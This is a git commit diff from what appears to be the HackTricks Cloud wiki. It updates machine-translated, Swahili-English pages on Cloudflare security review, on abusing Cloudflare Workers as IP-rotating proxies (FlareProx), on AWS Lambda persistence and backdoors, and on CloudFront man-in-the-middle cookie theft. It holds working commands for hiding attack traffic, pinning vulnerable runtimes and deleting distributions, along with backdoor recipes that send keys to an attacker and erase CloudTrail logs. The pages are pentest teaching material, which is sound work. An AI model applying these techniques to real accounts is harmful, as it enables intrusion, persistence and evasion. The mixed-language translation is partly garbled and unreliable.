Translated ['src/pentesting-cloud/aws-security/aws-post-exploitation/aws

This commit is contained in:
Translator
2025-10-23 21:00:44 +00:00
parent ecab338f4d
commit b372d79dc7
18 changed files with 577 additions and 606 deletions

View File

@@ -1,14 +1,14 @@
# Cloudflare Usalama
# Cloudflare Security
{{#include ../../banners/hacktricks-training.md}}
Katika akaunti ya Cloudflare kuna **general settings and services** ambazo zinaweza kusanidiwa. Kwenye ukurasa huu tutajifunza **kuchambua mipangilio inayohusiana na usalama ya kila sehemu:**
In a Cloudflare account there are some **mipangilio ya jumla na huduma** that can be configured. In this page we are going to **tuchambue mipangilio inayohusiana na usalama ya kila section:**
<figure><img src="../../images/image (117).png" alt=""><figcaption></figcaption></figure>
## Websites
Kagua kila moja kwa:
Review each with:
{{#ref}}
cloudflare-domains.md
@@ -16,9 +16,9 @@ cloudflare-domains.md
### Domain Registration
- [ ] Kwenye **`Transfer Domains`** hakiki kuwa haiwezekani kuhamisha domain yoyote.
- [ ] Kwenye **`Transfer Domains`** hakikisha kwamba haiwezekani kuhamisha domain yoyote.
Kagua kila moja kwa:
Review each with:
{{#ref}}
cloudflare-domains.md
@@ -26,35 +26,35 @@ cloudflare-domains.md
## Analytics
_Sikuwa na kitu cha kupatikana cha kukagua kwa uhakiki wa mipangilio ya usalama._
_I couldn't find anything to check for a config security review._
## Pages
Kwenye kila page ya Cloudflare:
On each Cloudflare's page:
- [ ] Hakiki kwa **sensitive information** katika **`Build log`**.
- [ ] Hakiki kwa **sensitive information** katika **Github repository** iliyowekwa kwa pages.
- [ ] Angalia uwezekano wa github repo compromise kupitia workflow command injection au `pull_request_target` compromise. More info katika [**Github Security page**](../github-security/index.html).
- [ ] Angalia **vulnerable functions** katika `/fuctions` directory (ikiwa ipo), angalia **redirects** katika `_redirects` file (ikiwa ipo) na **misconfigured headers** katika `_headers` file (ikiwa ipo).
- [ ] Angalia **vulnerabilities** katika **web page** kwa kutumia **blackbox** au **whitebox** ikiwa unaweza **access the code**.
- [ ] Katika maelezo ya kila page `/<page_id>/pages/view/blocklist/settings/functions`. Hakiki kwa **sensitive information** katika **`Environment variables`**.
- [ ] Katika ukurasa wa maelezo pia angalia **build command** na **root directory** kwa ajili ya **potential injections** zinazoweza kudhoofisha page.
- [ ] Angalia taarifa nyeti katika the **`Build log`**.
- [ ] Angalia taarifa nyeti katika the **Github repository** iliyoteuliwa kwa pages.
- [ ] Angalia uwezekano wa kuathiriwa kwa github repo kupitia **workflow command injection** au udhaifu wa `pull_request_target`. More info in the [**Github Security page**](../github-security/index.html).
- [ ] Angalia vulnerable functions katika the `/fuctions` directory (ikiwa ipo), angalia the **redirects** katika faili `_redirects` (ikiwa ipo) na **misconfigured headers** katika faili `_headers` (ikiwa ipo).
- [ ] Angalia vulnerabilities katika the web page kupitia **blackbox** au **whitebox** ikiwa unaweza kupata code.
- [ ] Katika maelezo ya kila page `/<page_id>/pages/view/blocklist/settings/functions`. Angalia taarifa nyeti katika the **`Environment variables`**.
- [ ] Katika ukurasa wa maelezo angalia pia the **build command** na **root directory** kwa uwezekano wa injections ili kuathiri page.
## **Workers**
Kwenye kila Cloudflare's worker hakiki:
On each Cloudflare's worker check:
- [ ] The triggers: Nini kinachosababisha worker kuanzishwa? Je, **mtumiaji anaweza kutuma data** ambayo itatumika na worker?
- [ ] Kwenye **`Settings`**, hakiki kwa **`Variables`** zenye **sensitive information**
- [ ] Angalia code ya worker na tafuta **vulnerabilities** (hasa katika sehemu ambapo mtumiaji anaweza kudhibiti input)
- Angalia SSRFs zinazorudisha ukurasa ulioainishwa ambao unaweza kudhibiti
- Angalia XSSs zinazotekelezwa JS ndani ya picha ya svg
- Inawezekana worker inahusiana na huduma za ndani. Kwa mfano, worker inaweza kuwasiliana na R2 bucket kuhifadhi taarifa iliyopatikana kutokana na input. Katika hali hiyo, itahitajika kuchunguza uwezo wa worker juu ya R2 bucket na jinsi unaweza kutumiwa kutoka kwa user input.
- [ ] The triggers: Nini kinachosababisha the worker ianze? Je, mtumiaji anaweza kutuma data itakayotumika na the worker?
- [ ] Kwenye **`Settings`**, angalia **`Variables`** zenye taarifa nyeti
- [ ] Angalia code ya the worker na tafuta vulnerabilities (hasa sehemu ambapo mtumiaji anaweza kudhibiti input)
- Check for SSRFs returning the indicated page that you can control
- Check XSSs executing JS inside a svg image
- Inawezekana the worker inashirikiana na huduma nyingine za ndani. Kwa mfano, worker inaweza kuingiliana na R2 bucket kuhifadhi taarifa iliyopatikana kutoka kwa input. Katika kesi hiyo, inabidi ukague uwezo gani the worker ina juu ya the R2 bucket na jinsi inavyoweza kutumika vibaya kutokana na input ya mtumiaji.
> [!WARNING]
> Note that by default a **Worker is given a URL** such as `<worker-name>.<account>.workers.dev`. The user can set it to a **subdomain** but you can always access it with that **original URL** if you know it.
Kwa matumizi ya vitendo ya Workers kama pass-through proxies (IP rotation, FireProx-style), angalia:
For a practical abuse of Workers as pass-through proxies (IP rotation, FireProx-style), check:
{{#ref}}
cloudflare-workers-pass-through-proxy-ip-rotation.md
@@ -62,9 +62,9 @@ cloudflare-workers-pass-through-proxy-ip-rotation.md
## R2
Kwenye kila R2 bucket hakiki:
On each R2 bucket check:
- [ ] Configure **CORS Policy**.
- [ ] Sanidi **CORS Policy**.
## Stream
@@ -76,8 +76,8 @@ TODO
## Security Center
- [ ] Ikiwa inawezekana, run **`Security Insights`** **scan** na **`Infrastructure`** **scan**, kwani zitatoa taarifa muhimu zinazovutia kimausalama.
- [ ] Weka tu **kagua taarifa hizi** kwa ajili ya misconfigurations ya usalama na taarifa zinazovutia
- [ ] Ikiwa inawezekana, endesha skani ya **`Security Insights`** na skani ya **`Infrastructure`**, kwani zitatoa taarifa za kuvutia kwa upande wa usalama.
- [ ] Angalia tu taarifa hizi kwa ajili ya misanidi isiyo sahihi ya usalama na taarifa za kuvutia
## Turnstile
@@ -94,12 +94,12 @@ cloudflare-zero-trust-network.md
> [!NOTE]
> Unlike [Dynamic Redirects](https://developers.cloudflare.com/rules/url-forwarding/dynamic-redirects/), [**Bulk Redirects**](https://developers.cloudflare.com/rules/url-forwarding/bulk-redirects/) are essentially static — they do **not support any string replacement** operations or regular expressions. However, you can configure URL redirect parameters that affect their URL matching behavior and their runtime behavior.
- [ ] Hakiki kuwa **expressions** na **requirements** za redirects zinafanya maana.
- [ ] Hakiki pia kwa **sensitive hidden endpoints** ambazo zinaweza kuwa na taarifa za kuvutia.
- [ ] Angalia kwamba the **expressions** na **requirements** za redirects zinafanya maana.
- [ ] Angalia pia kwa **sensitive hidden endpoints** ambazo zinaweza kuwa na taarifa za kuvutia.
## Notifications
- [ ] Hakiki **notifications.** Hizi notifications zinapendekezwa kwa usalama:
- [ ] Angalia the **notifications.** Hizi notifications zinapendekezwa kwa usalama:
- `Usage Based Billing`
- `HTTP DDoS Attack Alert`
- `Layer 3/4 DDoS Attack Alert`
@@ -119,16 +119,16 @@ cloudflare-zero-trust-network.md
- `Script Monitor New Script Exceeds Max URL Length Alert`
- `Advanced Security Events Alert`
- `Security Events Alert`
- [ ] Hakiki lahat la **destinations**, kwani kunaweza kuwa na **sensitive info** (basic http auth) katika webhook urls. Pia hakikisha webhook urls zinatumia **HTTPS**
- [ ] Kama ukaguzi wa ziada, unaweza kujaribu **kuiga notification ya cloudflare** kwa upande wa tatu, pengine unaweza kwa namna fulani **kuinject kitu hatari**
- [ ] Angalia yote the **destinations**, kwa kuwa kunaweza kuwa na **sensitive info** (basic http auth) katika webhook urls. Pia hakikisha webhook urls zinatumia **HTTPS**
- [ ] Kama ukaguzi wa ziada, unaweza kujaribu kuigiza cloudflare notification kwa mtu wa tatu; labda kwa namna fulani utaweza kuingiza kitu hatari
## Manage Account
- [ ] Inawezekana kuona **last 4 digits of the credit card**, **expiration** time na **billing address** katika **`Billing` -> `Payment info`**.
- [ ] Inawezekana kuona **plan type** inayotumika katika akaunti katika **`Billing` -> `Subscriptions`**.
- [ ] Kwenye **`Members`** inawezekana kuona wanachama wote wa akaunti na **role** zao. Kumbuka kwamba kama plan si Enterprise, kuna roles mbili tu: Administrator na Super Administrator. Lakini ikiwa **plan inayotumika ni Enterprise**, [**more roles**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/) zinaweza kutumika ili kufuata kanuni ya least privilege.
- Kwa hivyo, inapendekezwa kutumia **Enterprise plan** iwezekanavyo.
- [ ] Kwenye Members inawezekana kuchunguza ni **members** gani wana **2FA enabled**. **Kila** mtumiaji anapaswa kuwa na hiyo imewezeshwa.
- [ ] Inawezekana kuona tarakimu 4 za mwisho za kadi ya mkopo, tarehe ya kumalizika na anuani ya bili katika `Billing` -> `Payment info`.
- [ ] Inawezekana kuona aina ya plan inayotumika katika akaunti katika `Billing` -> `Subscriptions`.
- [ ] Kwenye **`Members`** inawezekana kuona wanachama wote wa akaunti na role zao. Kumbuka kwamba ikiwa aina ya plan si Enterprise, kuna roles 2 tu: Administrator na Super Administrator. Lakini ikiwa `plan is Enterprise`, [**more roles**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/) zinaweza kutumika kufuata kanuni ya least privilege.
- Kwa hivyo, inapowezekana inashauriwa kutumia the **Enterprise plan**.
- [ ] Kwenye Members inawezekana kukagua ni wapi **members** wana **2FA enabled**. **Kila** mtumiaji anapaswa kuwa na 2FA imewezeshwa.
> [!NOTE]
> Note that fortunately the role **`Administrator`** doesn't give permissions to manage memberships (**cannot escalate privs or invite** new members)

View File

@@ -1,31 +1,31 @@
# Kutumia Vibaya Cloudflare Workers as pass-through proxies (IP rotation, FireProx-style)
# Kutumia vibaya Cloudflare Workers kama pass-through proxies (IP rotation, FireProx-style)
{{#include ../../banners/hacktricks-training.md}}
Cloudflare Workers zinaweza kutumika kama proxies wazi za HTTP za pass-through ambapo URL ya upstream target inatolewa na mteja. Maombi hutoka kutoka kwenye mtandao wa Cloudflare, hivyo target inaona Cloudflare IPs badala ya za mteja. Hii inaiga tekniki maarufu ya FireProx kwenye AWS API Gateway, lakini inatumia Cloudflare Workers.
Cloudflare Workers inaweza kuwekwa kama transparent HTTP pass-through proxies ambapo target URL ya upstream inatolewa na mteja. Maombi yanaondoka kutoka kwenye mtandao wa Cloudflare kwa hivyo target inaona Cloudflare IPs badala ya za mteja. Hii inafanana na mbinu maarufu ya FireProx kwenye AWS API Gateway, lakini inatumia Cloudflare Workers.
### Sifa kuu
- Inasaidia njia zote za HTTP (GET, POST, PUT, DELETE, PATCH, OPTIONS, HEAD)
- Lengo linaweza kutolewa kupitia query parameter (?url=...), header (X-Target-URL), au hata kuingizwa kwenye path (mfano, /https://target)
- Headers na body hupitishwa kupitia proxy kwa kuchuja hop-by-hop/header inapohitajika
- Majibu hurudishwa, huku ikihifadhi status code na wengi wa headers
- Inaweza kufanya spoofing ya X-Forwarded-For (ikiwa Worker inaiweka kutoka kwa header inayodhibitiwa na mtumiaji)
- Mzunguko wa IP wa haraka/rahisi kwa kupeleka endpoints nyingi za Worker na kueneza maombi
- Target inaweza kutolewa kupitia query parameter (?url=...), header (X-Target-URL), au hata kuwa encoded katika path (mfano, /https://target)
- Headers na body zinapitishwa kwa proxy kwa ufuatiliaji wa hop-by-hop/header filtering inapohitajika
- Majibu yamerudishwa, yakihifadhi status code na headers nyingi
- Uwezo wa kujigaunjua X-Forwarded-For (ikiwa Worker inaiweka kutoka kwenye header inayotawala na mtumiaji)
- Mzunguko wa IP wa haraka/rahisi kwa kupeleka endpoints za Worker nyingi na kunyonya requests
### Jinsi inavyofanya kazi (mtiririko)
1) Mteja anatuma ombi la HTTP kwa Worker URL (`<name>.<account>.workers.dev` au custom domain route).
2) Worker hutambua target kutoka kwa query parameter (?url=...), header X-Target-URL, au segment ya path ikiwa imefanikiwa.
3) Worker inapitisha method, headers, na body zinazoingia kwa URL ya upstream iliyobainishwa (ikichuja headers zenye matatizo).
4) Majibu kutoka upstream yarejeshwa kwa mtiririko kwa mteja kupitia Cloudflare; origin inaona Cloudflare egress IPs.
1) Mteja anatuma ombi la HTTP kwa Worker URL (`<name>.<account>.workers.dev` au njia ya domain maalum).
2) Worker huvunja target kutoka ama query parameter (?url=...), header ya X-Target-URL, au kipande cha path ikiwa imefanywa hivyo.
3) Worker hupeleka njia (method), headers, na body zinazokuja kwenda kwenye URL ya upstream iliyobainishwa (ukienda kusafisha headers zenye shida).
4) Jibu kutoka upstream hupanuliwa/hupelekwa nyuma kwa mteja kupitia Cloudflare; origin inaona Cloudflare egress IPs.
### Mfano wa utekelezaji wa Worker
- Husoma URL ya target kutoka query param, header, au path
- Huanakili subset salama ya headers na kuipitisha method/body ya asili
- Inaweza kuweka X-Forwarded-For kwa kutumia header inayodhibitiwa na mtumiaji (X-My-X-Forwarded-For) au IP ya nasibu
- Inaongeza CORS yenye ruhusa na kushughulikia preflight
### Worker implementation example
- Husesha target URL kutoka query param, header, au path
- Inakopa subset salama ya headers na kupeleka njia/body ya awali
- Hiari huweka X-Forwarded-For kwa kutumia header inayodhibitiwa na mtumiaji (X-My-X-Forwarded-For) au IP nasibu
- Inaongeza CORS permissive na kushughulikia preflight
<details>
<summary>Example Worker (JavaScript) for pass-through proxying</summary>
<summary>Mfano wa Worker (JavaScript) kwa pass-through proxying</summary>
```javascript
/**
* Minimal Worker pass-through proxy
@@ -133,12 +133,12 @@ function randomIP() { return [1,2,3,4].map(() => Math.floor(Math.random()*255)+1
```
</details>
### Kut automatisha deployment na mzunguko kwa FlareProx
### Kuendesha kiotomatiki deployment na rotation na FlareProx
FlareProx ni zana ya Python inayotumia Cloudflare API kuweka endpoints nyingi za Worker na kuzizungusha kati yao. Hii hutoa mzunguko wa IP unaofanana na FireProx kutoka kwenye mtandao wa Cloudflare.
FlareProx ni zana ya Python inayotumia Cloudflare API ku-deploy Worker endpoints nyingi na ku-rotate kati yao. Hii inatoa FireProx-like IP rotation kutoka kwenye mtandao wa Cloudflare.
Usanidi
1) Unda Cloudflare API Token ukitumia template “Edit Cloudflare Workers” na upate Account ID yako kutoka kwenye dashboard.
Setup
1) Unda Cloudflare API Token ukitumia kiolezo “Edit Cloudflare Workers” na upate Account ID yako kutoka kwenye dashboard.
2) Sanidi FlareProx:
```bash
git clone https://github.com/MrTurvey/flareprox
@@ -156,7 +156,7 @@ pip install -r requirements.txt
```
**Matumizi ya CLI**
- Unda proxies N za Worker:
- Unda N Worker proxies:
```bash
python3 flareprox.py create --count 2
```
@@ -164,7 +164,7 @@ python3 flareprox.py create --count 2
```bash
python3 flareprox.py list
```
- Endpoints za upimaji wa afya:
- Endpoints za mtihani wa afya:
```bash
python3 flareprox.py test
```
@@ -172,12 +172,12 @@ python3 flareprox.py test
```bash
python3 flareprox.py cleanup
```
**Kuongoza trafiki kupitia Worker**
- Fomu ya parameter za query:
**Kupitisha trafiki kupitia Worker**
- Fomu ya query parameter:
```bash
curl "https://your-worker.account.workers.dev?url=https://httpbin.org/ip"
```
- Fomu ya kichwa:
Fomu ya kichwa:
```bash
curl -H "X-Target-URL: https://httpbin.org/ip" https://your-worker.account.workers.dev
```
@@ -204,17 +204,17 @@ curl -X DELETE \
```
**`X-Forwarded-For` udhibiti**
Ikiwa Worker inaheshimu `X-My-X-Forwarded-For`, unaweza kuathiri thamani ya upstream ya `X-Forwarded-For`:
Ikiwa Worker itaheshimu `X-My-X-Forwarded-For`, unaweza kuathiri thamani ya `X-Forwarded-For` ya upstream:
```bash
curl -H "X-My-X-Forwarded-For: 203.0.113.10" \
"https://your-worker.account.workers.dev?url=https://httpbin.org/headers"
```
**Matumizi kwa njia ya programu**
**Matumizi ya programatiki**
Tumia maktaba ya FlareProx kuunda/kuorodhesha/kujaribu endpoints na kupitisha maombi kutoka Python.
Tumia maktaba ya FlareProx kuunda/kuorodhesha/kujaribu endpoints na kupitisha requests kutoka Python.
<details>
<summary>Mfano wa Python: Tuma POST kupitia endpoint ya Worker ya nasibu</summary>
<summary>Mfano wa Python: Tuma POST kupitia endpoint ya Worker nasibu</summary>
```python
#!/usr/bin/env python3
from flareprox import FlareProx, FlareProxError
@@ -267,17 +267,17 @@ print(f"Request error: {e}")
```
</details>
**Muunganisho na Burp/Scanner**
- Elekeza zana (kwa mfano, Burp Suite) kwa Worker URL.
- Toa upstream halisi ukitumia ?url= au X-Target-URL.
- Semantiki za HTTP (methods/headers/body) zinahifadhiwa wakati ukificha IP yako ya asili nyuma ya Cloudflare.
**Uunganisho wa Burp/Scanner**
- Elekeza zana (kwa mfano, Burp Suite) kwenye Worker URL.
- Toa upstream halisi kwa kutumia ?url= au X-Target-URL.
- Semantiki za HTTP (methods/headers/body) zinahifadhiwa huku zikificha IP yako ya chanzo nyuma ya Cloudflare.
**Vidokezo vya uendeshaji na mipaka**
- Cloudflare Workers Free plan inaruhusu takriban 100,000 requests/day kwa akaunti; tumia endpoints mbalimbali kusambaza trafiki ikiwa inahitajika.
- Workers zinaendesha kwenye mtandao wa Cloudflare; malengo mengi yataona tu Cloudflare IPs/ASN, jambo ambalo linaweza kupitisha naive IP allow/deny lists au geo heuristics.
- Tumia kwa uwajibikaji na tu kwa idhini. Heshimu ToS na robots.txt.
- Cloudflare Workers Free plan inaruhusu takriban maombi 100,000 kwa siku kwa akaunti; tumia endpoints kadhaa kusambaza trafiki ikiwa inahitajika.
- Workers zinaendesha kwenye mtandao wa Cloudflare; malengo mengi yataona tu Cloudflare IPs/ASN, ambayo inaweza kupita orodha rahisi za kuruhusu/kukataa IP au heuristics za kijiografia.
- Tumia kwa uwajibikaji na tu ukiwa na idhini. Heshimu ToS na robots.txt.
## Marejeo
## References
- [FlareProx (Cloudflare Workers pass-through/rotation)](https://github.com/MrTurvey/flareprox)
- [Cloudflare Workers fetch() API](https://developers.cloudflare.com/workers/runtime-apis/fetch/)
- [Cloudflare Workers pricing and free tier](https://developers.cloudflare.com/workers/platform/pricing/)

View File

@@ -12,7 +12,7 @@ Kwa maelezo zaidi angalia:
### Lambda Layer Persistence
Ni inawezekana ku-introduce/backdoor layer ili execute arbitrary code wakati lambda inatekelezwa kwa njia ya stealthy:
Inawezekana **introduce/backdoor a layer to execute arbitrary code** wakati lambda inapotekelezwa kwa njia ya kujificha:
{{#ref}}
aws-lambda-layers-persistence.md
@@ -20,7 +20,7 @@ aws-lambda-layers-persistence.md
### Lambda Extension Persistence
Kwa ku-abuse Lambda Layers pia inawezekana ku-abuse extensions na persist katika lambda lakini pia steal na modify requests.
Kwa kutumia Lambda Layers pia inawezekana kutumiwa extensions na kudumu ndani ya lambda, lakini pia kuiba na kubadilisha requests.
{{#ref}}
aws-abusing-lambda-extensions.md
@@ -28,42 +28,42 @@ aws-abusing-lambda-extensions.md
### Via resource policies
Inawezekana kuipa access kwa vitendo tofauti vya lambda (kama invoke au update code) kwa accounts za nje:
Inawezekana kutoa ufikiaji kwa vitendo mbalimbali vya lambda (kama invoke au update code) kwa akaunti za nje:
<figure><img src="../../../../images/image (255).png" alt=""><figcaption></figcaption></figure>
### Versions, Aliases & Weights
A Lambda can have **different versions** (with different code each version).\
Then, you can create **different aliases with different versions** of the lambda and set different weights to each.\
This way an attacker could create a **backdoored version 1** and a **version 2 with only the legit code** and **only execute the version 1 in 1%** of the requests to remain stealth.
Lambda inaweza kuwa na **matoleo tofauti** (kila toleo lina msimbo tofauti).\
Kisha, unaweza kuunda **aliases tofauti zenye matoleo tofauti** ya lambda na kuweka uzito tofauti kwa kila moja.\
Kwa njia hii mshambuliaji angeweza kuunda **backdoored version 1** na **version 2 yenye msimbo halali tu** na **kuitekeleza version 1 tu katika 1%** ya requests ili kubaki kwa siri.
<figure><img src="../../../../images/image (120).png" alt=""><figcaption></figcaption></figure>
### Version Backdoor + API Gateway
1. Nakili code ya asili ya Lambda
1. Nakili the original code of the Lambda
2. **Create a new version backdooring** the original code (or just with malicious code). Publish and **deploy that version** to $LATEST
1. Piga API gateway inayohusiana na lambda ili execute code
1. Piga the API gateway related to the lambda to execute the code
3. **Create a new version with the original code**, Publish and deploy that **version** to $LATEST.
1. Hii itaficha backdoored code katika previous version
4. Nenda API Gateway na **create a new POST method** (au chagua method nyingine) ambayo ita-execute backdoored version ya lambda: `arn:aws:lambda:us-east-1:<acc_id>:function:<func_name>:1`
1. Kumbuka final :1 ya arn **inaonyesha version ya function** (version 1 itakuwa backdoored katika scenario hii).
5. Chagua POST method uliyounda na kwenye Actions chagua **`Deploy API`**
6. Sasa, unapo **call the function via POST** Backdoor yako ita-invoke
1. Hii itaficha the backdoored code in a previous version
4. Nenda kwenye API Gateway na **create a new POST method** (au chagua any other method) itakayotekeleza the backdoored version of the lambda: `arn:aws:lambda:us-east-1:<acc_id>:function:<func_name>:1`
1. Tambua the final :1 of the arn **indicating the version of the function** (version 1 itakuwa the backdoored one in this scenario).
5. Chagua the POST method uliyounda na katika Actions chagua **`Deploy API`**
6. Sasa, unapoitisha the function via POST your Backdoor itaendeshwa
### Cron/Event actuator
Kwamba unaweza kufanya **lambda functions run when something happen or when some time pass** hufanya lambda kuwa njia nzuri na ya kawaida ya kupata persistence na kuepuka detection.\
Hapa kuna baadhi ya mawazo ya kufanya **presence yako katika AWS iwe stealth zaidi kwa ku-create lambdas**.
Kwamba unaweza kufanya **lambda functions ziendesheke wakati jambo linapotokea au baada ya muda fulani kupita** hufanya lambda kuwa njia nzuri na ya kawaida ya kupata persistence na kuepuka kugunduliwa.\
Hapa kuna mawazo ya kufanya **uwepo wako katika AWS uwe wa siri zaidi kwa kuunda lambdas**.
- Kila wakati user mpya anaundwa lambda inazalisha user key mpya na kuituma kwa attacker.
- Kila wakati role mpya inaundwa lambda inampa compromised users permissions za assume role.
- Kila wakati cloudtrail logs mpya zinapotengenezwa, zifute/ubadilishe
- Kila mara user mpya anapo undwa lambda inazalisha user key mpya na kuituma kwa mshambuliaji.
- Kila mara role mpya inapo undwa lambda inawapa compromised users ruhusa za assume role.
- Kila mara logs mpya za cloudtrail zinapotengenezwa, zifute/zirudishe
### RCE abusing AWS_LAMBDA_EXEC_WRAPPER + Lambda Layers
Abuse environment variable `AWS_LAMBDA_EXEC_WRAPPER` ili execute attacker-controlled wrapper script kabla runtime/handler haijaanza. Deliver wrapper kupitia Lambda Layer kwenye `/opt/bin/htwrap`, set `AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap`, kisha invoke function. Wrapper inakimbia ndani ya function runtime process, iraithi function execution role, na mwisho `exec`s real runtime hivyo original handler bado inatekelezwa kawaida.
Abuse the environment variable `AWS_LAMBDA_EXEC_WRAPPER` to execute an attacker-controlled wrapper script before the runtime/handler starts. Deliver the wrapper via a Lambda Layer at `/opt/bin/htwrap`, set `AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap`, and then invoke the function. The wrapper runs inside the function runtime process, inherits the function execution role, and finally `exec`s the real runtime so the original handler still executes normally.
{{#ref}}
aws-lambda-exec-wrapper-persistence.md
@@ -71,7 +71,7 @@ aws-lambda-exec-wrapper-persistence.md
### AWS - Lambda Function URL Public Exposure
Abuse Lambda asynchronous destinations pamoja na Recursion configuration kufanya function iendelee ku-re-invoke yenyewe bila scheduler ya nje (hakuna EventBridge, cron, n.k.). By default, Lambda inakata recursive loops, lakini kuweka recursion config kwa Allow kuruhusu tena. Destinations hutekelezwa upande wa service kwa async invokes, hivyo seed invoke moja huunda channel ya stealthy, code-free heartbeat/backdoor. Kwa hiari throttle kwa reserved concurrency ili kupunguza noise.
Tumia vibaya Lambda asynchronous destinations pamoja na the Recursion configuration ili kufanya function iite tena yenyewe mara kwa mara bila external scheduler (bila EventBridge, cron, n.k.). Kwa default, Lambda inakata recursive loops, lakini kuweka recursion config kuwa Allow inawawezesha tena. Destinations zinatoa upande wa service kwa async invokes, hivyo invoke moja ya seed inaunda channel ya heartbeat/backdoor isiyokuwa na code na isiyojulikana. Kwa hiari, punguza kwa reserved concurrency ili kuweka noise chini.
{{#ref}}
aws-lambda-async-self-loop-persistence.md
@@ -79,9 +79,9 @@ aws-lambda-async-self-loop-persistence.md
### AWS - Lambda Alias-Scoped Resource Policy Backdoor
Unda hidden Lambda version yenye attacker logic na scope resource-based policy kwa version maalum (au alias) kwa kutumia parameter `--qualifier` katika `lambda add-permission`. Toa tu `lambda:InvokeFunction` kwenye `arn:aws:lambda:REGION:ACCT:function:FN:VERSION` kwa attacker principal. Invocations za kawaida kupitia function name au primary alias hazibadiliki, wakati attacker anaweza ku-invoke moja kwa moja backdoored version ARN.
Tengeneza toleo la Lambda lililofichwa lenye mantiki ya mshambuliaji na pangia resource-based policy kwa toleo maalum hilo (au alias) kwa kutumia parameter `--qualifier` katika `lambda add-permission`. Toa pekee `lambda:InvokeFunction` kwenye `arn:aws:lambda:REGION:ACCT:function:FN:VERSION` kwa attacker principal. Invocation za kawaida kupitia jina la function au primary alias hazibadiliki, wakati mshambuliaji anaweza directly invoke the backdoored version ARN.
Hii ni stealthier kuliko ku-expose Function URL na haisumbui primary traffic alias.
Hii ni ya siri zaidi kuliko kufanya expose Function URL na haibadilishi primary traffic alias.
{{#ref}}
aws-lambda-alias-version-policy-backdoor.md
@@ -89,9 +89,9 @@ aws-lambda-alias-version-policy-backdoor.md
### Freezing AWS Lambda Runtimes
Mshambuliaji mwenye ruhusa za lambda:InvokeFunction, logs:FilterLogEvents, lambda:PutRuntimeManagementConfig, na lambda:GetRuntimeManagementConfig anaweza kubadilisha runtime management configuration ya function. Attack hii ni hasa yenye ufanisi wakati lengo ni kuweka Lambda function kwenye vulnerable runtime version au kuhifadhi compatibility na malicious layers ambazo zinaweza kuwa incompatible na runtimes mpya.
Mshambuliaji aliye na ruhusa za lambda:InvokeFunction, logs:FilterLogEvents, lambda:PutRuntimeManagementConfig, na lambda:GetRuntimeManagementConfig anaweza kubadilisha runtime management configuration ya function. Shambulio hili ni hasa madhubuti pale lengo likiwa ni kuweka Lambda function kwenye toleo la runtime lenye udhaifu au kuhifadhi compatibility na malicious layers ambazo zinaweza kuwa incompatible na runtimes mpya.
Mshambuliaji anabadilisha runtime management configuration ili ku-pin runtime version:
Mshambuliaji hubadilisha runtime management configuration ili kuweka pin runtime version:
```bash
# Invoke the function to generate runtime logs
aws lambda invoke \
@@ -113,7 +113,7 @@ aws lambda get-runtime-management-config \
--function-name $TARGET_FN \
--region us-east-1
```
Hiari: Fungia kwenye toleo maalum la runtime
Hiari: Weka kwenye toleo maalum la runtime
```bash
# Extract Runtime Version ARN from INIT_START logs
RUNTIME_ARN=$(aws logs filter-log-events \
@@ -122,7 +122,7 @@ RUNTIME_ARN=$(aws logs filter-log-events \
--query 'events[0].message' \
--output text | grep -o 'Runtime Version ARN: [^,]*' | cut -d' ' -f4)
```
Pin kwa toleo maalum la runtime:
Weka kwenye toleo maalum la runtime:
```bash
aws lambda put-runtime-management-config \
--function-name $TARGET_FN \

View File

@@ -4,16 +4,16 @@
## CloudFront
Kwa maelezo zaidi angalia:
Kwa taarifa zaidi angalia:
{{#ref}}
../../aws-services/aws-cloudfront-enum.md
{{#endref}}
### `cloudfront:Delete*`
Mshambuliaji aliyepatiwa cloudfront:Delete* anaweza kufuta distributions, policies na vitu vingine muhimu vya usanidi wa CDN — kwa mfano distributions, cache/origin policies, key groups, origin access identities, functions/configs, na rasilimali zinazohusiana. Hii inaweza kusababisha kusitishwa kwa huduma, hasara ya maudhui, na kuondolewa kwa usanidi au artefakti za forensiki.
attacker aliyepatiwa ruhusa za cloudfront:Delete* anaweza kufuta distributions, policies na vitu vingine muhimu vya usanidi wa CDN — kwa mfano distributions, cache/origin policies, key groups, origin access identities, functions/configs, na rasilimali zinazohusiana. Hii inaweza kusababisha usumbufu wa huduma, upotevu wa yaliyomo, na kuondolewa kwa usanidi au mashahidi ya forensiki.
Kufuta distribution, mshambuliaji anaweza kutumia:
Ili kufuta distribution, attacker anaweza kutumia:
```bash
aws cloudfront delete-distribution \
--id <DISTRIBUTION_ID> \
@@ -21,20 +21,20 @@ aws cloudfront delete-distribution \
```
### Man-in-the-Middle
Hili [**blog post**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) linapendekeza matukio kadhaa tofauti ambapo **Lambda** inaweza kuongezwa (au kubadilishwa ikiwa tayari inatumiwa) katika **mawasiliano kupitia CloudFront** kwa kusudi la **kuiba** taarifa za mtumiaji (kama session **cookie**) na **kubadilisha** **response** (kuingiza script ya JS yenye madhara).
This [**blog post**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) linapendekeza matukio kadhaa tofauti ambapo **Lambda** inaweza kuongezwa (au kubadilishwa ikiwa tayari inatumiwa) katika **communication through CloudFront** kwa lengo la **kuiba** taarifa za watumiaji (kama session **cookie**) na **kubadilisha** **response** (kuingiza script ya JS hasidi).
#### Mfano 1: MitM ambapo CloudFront imewekwa kufikia baadhi ya HTML ya bucket
#### Senario 1: MitM ambapo CloudFront imewekwa kufikia baadhi ya HTML ya bucket
- **Unda** **function** yenye madhara.
- **Unganisha** na distribution ya CloudFront.
- Weka **event type to "Viewer Response"**.
- **Unda** **function** ya hasidi.
- **Unganisha** na CloudFront distribution.
- Weka **event type** kuwa "Viewer Response".
Kwa kupata response, unaweza kuiba cookie za watumiaji na kuingiza script ya JS yenye madhara.
Kwa kufikia response unaweza kuiba cookie za watumiaji na kuingiza JS hasidi.
#### Mfano 2: MitM ambapo CloudFront tayari inatumia lambda function
#### Senario 2: MitM ambapo CloudFront tayari inatumia lambda function
- **Badilisha code** ya lambda function ili kuiba taarifa nyeti
Unaweza kuangalia the [**tf code to recreate this scenarios here**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main).
